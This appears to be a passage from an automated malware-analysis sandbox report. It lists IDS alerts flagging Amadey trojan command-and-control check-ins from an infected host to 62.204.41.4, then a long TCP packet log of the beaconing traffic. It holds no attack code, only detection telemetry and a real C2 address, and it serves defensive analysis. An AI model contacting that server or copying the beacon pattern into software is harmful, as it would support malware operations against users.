192.168.2.562.204.41.449920802027700 02/06/23-14:17:49.692974	TCP	2027700	ET TROJAN Amadey CnC Check-In	49920	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449831802027700 02/06/23-14:17:25.452284	TCP	2027700	ET TROJAN Amadey CnC Check-In	49831	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450219802027700 02/06/23-14:19:11.621916	TCP	2027700	ET TROJAN Amadey CnC Check-In	50219	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449701802027700 02/06/23-14:16:31.297623	TCP	2027700	ET TROJAN Amadey CnC Check-In	49701	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449742802027700 02/06/23-14:16:53.631837	TCP	2027700	ET TROJAN Amadey CnC Check-In	49742	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450012802027700 02/06/23-14:18:15.955153	TCP	2027700	ET TROJAN Amadey CnC Check-In	50012	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449819802027700 02/06/23-14:17:22.395201	TCP	2027700	ET TROJAN Amadey CnC Check-In	49819	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449949802027700 02/06/23-14:17:58.849591	TCP	2027700	ET TROJAN Amadey CnC Check-In	49949	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450142802027700 02/06/23-14:18:50.911528	TCP	2027700	ET TROJAN Amadey CnC Check-In	50142	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450101802027700 02/06/23-14:18:39.586156	TCP	2027700	ET TROJAN Amadey CnC Check-In	50101	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450272802027700 02/06/23-14:19:24.480080	TCP	2027700	ET TROJAN Amadey CnC Check-In	50272	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450231802027700 02/06/23-14:19:14.506549	TCP	2027700	ET TROJAN Amadey CnC Check-In	50231	80	192.168.2.5	62.204.41.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 6, 2023 14:16:28.771315098 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.771369934 CET	49691	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.831681967 CET	80	49691	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.831762075 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.831883907 CET	49691	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.832230091 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.832691908 CET	49691	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.837604046 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.893048048 CET	80	49691	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.896934986 CET	80	49691	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.897242069 CET	49691	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.898154974 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.898228884 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.898444891 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.917882919 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.979309082 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.979448080 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.979521990 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.979547977 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.979557991 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.979572058 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.979600906 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.979600906 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.979610920 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.979619026 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.979743958 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.979794979 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.979820967 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.979856014 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.979860067 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.979882002 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.979888916 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.979907036 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:28.979911089 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:28.979964018 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.013803959 CET	49691	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.014635086 CET	49692	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.046888113 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.046931982 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.046952009 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.046972036 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.046992064 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.046991110 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047034025 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047058105 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047105074 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047126055 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047148943 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047149897 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047173977 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047188044 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047194958 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047209978 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047220945 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047240973 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047244072 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047276020 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047297955 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047415972 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047446012 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047472954 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047499895 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047504902 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047525883 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047538042 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047553062 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047564030 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047579050 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047599077 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047605038 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.047622919 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.047663927 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.075155020 CET	80	49691	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.075292110 CET	49691	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.077096939 CET	80	49692	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.077253103 CET	49692	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.077816010 CET	49692	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.110882044 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.110927105 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.110959053 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.111005068 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.111056089 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.118885040 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.118927956 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.118953943 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.118980885 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119009972 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119028091 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119038105 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119065046 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119077921 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119077921 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119093895 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119107008 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119122028 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119149923 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119158983 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119178057 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119184017 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119205952 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119215965 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119235039 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119260073 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119270086 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119287968 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119297028 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119316101 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119322062 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119343996 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119371891 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119396925 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119399071 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119421005 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119425058 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119446993 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119452953 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119465113 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119478941 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119505882 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119517088 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119532108 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119548082 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119559050 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119571924 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119585991 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119595051 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119613886 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119620085 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119641066 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119646072 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119668961 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119707108 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119716883 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119743109 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119769096 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119781971 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119795084 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119802952 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119822979 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119831085 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119851112 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119854927 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119879961 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119905949 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.119915962 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.119940042 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.140969038 CET	80	49692	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.144706964 CET	80	49692	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.144869089 CET	49692	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.171498060 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.171515942 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.171679020 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.260165930 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.260546923 CET	49692	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.262876034 CET	49693	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.321274996 CET	80	49690	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.322679996 CET	80	49692	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.322840929 CET	49690	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.323364019 CET	49692	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.324933052 CET	80	49693	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.325140953 CET	49693	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.330240011 CET	49693	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.392095089 CET	80	49693	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.404603004 CET	80	49693	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.405294895 CET	49693	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.513690948 CET	49693	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.514444113 CET	49694	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.577439070 CET	80	49694	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.577461958 CET	80	49693	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.577547073 CET	49694	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.577590942 CET	49693	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.585295916 CET	49694	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.646075964 CET	80	49694	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.649504900 CET	80	49694	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.653402090 CET	49694	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.763591051 CET	49694	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.764683008 CET	49695	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.824440956 CET	80	49694	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.825571060 CET	49694	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.826432943 CET	80	49695	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.826551914 CET	49695	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.833365917 CET	49695	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:29.894077063 CET	80	49695	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.896542072 CET	80	49695	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:29.896730900 CET	49695	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.015897036 CET	49695	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.016649961 CET	49696	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.077560902 CET	80	49695	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.077868938 CET	49695	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.081624031 CET	80	49696	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.081865072 CET	49696	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.082324028 CET	49696	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.145374060 CET	80	49696	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.151854992 CET	80	49696	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.153008938 CET	49696	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.267267942 CET	49696	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.268034935 CET	49697	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.330276012 CET	80	49696	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.330461025 CET	49696	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.330821991 CET	80	49697	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.330940008 CET	49697	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.331432104 CET	49697	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.396003008 CET	80	49697	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.398885965 CET	80	49697	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.399019003 CET	49697	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.513561964 CET	49697	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.514549017 CET	49698	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.575536013 CET	80	49698	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.575699091 CET	49698	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.576133013 CET	49698	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.579301119 CET	80	49697	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.579402924 CET	49697	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.636229992 CET	80	49698	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.639316082 CET	80	49698	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.639472961 CET	49698	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.748692989 CET	49698	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.750433922 CET	49699	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.809381962 CET	80	49698	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.809444904 CET	49698	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.810801983 CET	80	49699	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.810889959 CET	49699	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.811357975 CET	49699	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.874603033 CET	80	49699	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.874645948 CET	80	49699	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:30.874768972 CET	49699	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.982218981 CET	49699	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:30.982970953 CET	49700	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.042591095 CET	80	49699	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.042728901 CET	49699	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.043292046 CET	80	49700	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.043406963 CET	49700	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.043766975 CET	49700	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.124670029 CET	80	49700	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.124840975 CET	80	49700	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.124898911 CET	49700	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.232711077 CET	49700	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.233705044 CET	49701	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.293167114 CET	80	49700	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.293382883 CET	49700	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.296154022 CET	80	49701	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.296464920 CET	49701	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.297622919 CET	49701	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.359807968 CET	80	49701	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.362792015 CET	80	49701	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.362927914 CET	49701	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.482449055 CET	49701	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.483194113 CET	49702	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.543910980 CET	80	49702	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.544033051 CET	49702	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.544042110 CET	80	49701	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.544162035 CET	49701	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.544826984 CET	49702	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.605264902 CET	80	49702	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.609515905 CET	80	49702	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.609659910 CET	49702	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.720773935 CET	49702	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.721662998 CET	49703	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.781966925 CET	80	49702	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.782066107 CET	49702	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.783037901 CET	80	49703	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.783169031 CET	49703	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.801911116 CET	49703	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.863517046 CET	80	49703	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.868216991 CET	80	49703	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:31.868396997 CET	49703	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.982759953 CET	49703	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:31.983603001 CET	49704	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.045079947 CET	80	49703	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.045178890 CET	80	49704	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.045177937 CET	49703	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.045264006 CET	49704	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.045624018 CET	49704	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.108331919 CET	80	49704	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.117239952 CET	80	49704	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.117358923 CET	49704	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.253287077 CET	49704	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.261163950 CET	49705	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.316380978 CET	80	49704	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.317768097 CET	49704	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.322765112 CET	80	49705	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.322890043 CET	49705	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.323528051 CET	49705	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.383878946 CET	80	49705	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.386897087 CET	80	49705	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.389538050 CET	49705	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.500999928 CET	49705	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.501689911 CET	49706	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.561602116 CET	80	49705	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.561858892 CET	80	49706	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.561966896 CET	49705	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.562031031 CET	49706	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.563263893 CET	49706	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.624953985 CET	80	49706	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.627523899 CET	80	49706	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.629777908 CET	49706	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.732887983 CET	49706	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.733944893 CET	49707	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.792391062 CET	80	49706	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.792474031 CET	49706	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.796664000 CET	80	49707	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.797704935 CET	49707	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.799134016 CET	49707	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.861947060 CET	80	49707	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.866416931 CET	80	49707	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:32.866545916 CET	49707	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.983104944 CET	49707	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:32.984055042 CET	49708	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.046968937 CET	80	49708	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.047508955 CET	49708	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.047919035 CET	49708	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.050724030 CET	80	49707	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.050820112 CET	49707	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.107681990 CET	80	49708	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.112329960 CET	80	49708	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.113776922 CET	49708	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.223474979 CET	49708	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.224272966 CET	49709	80	192.168.2.5	62.204.41.4
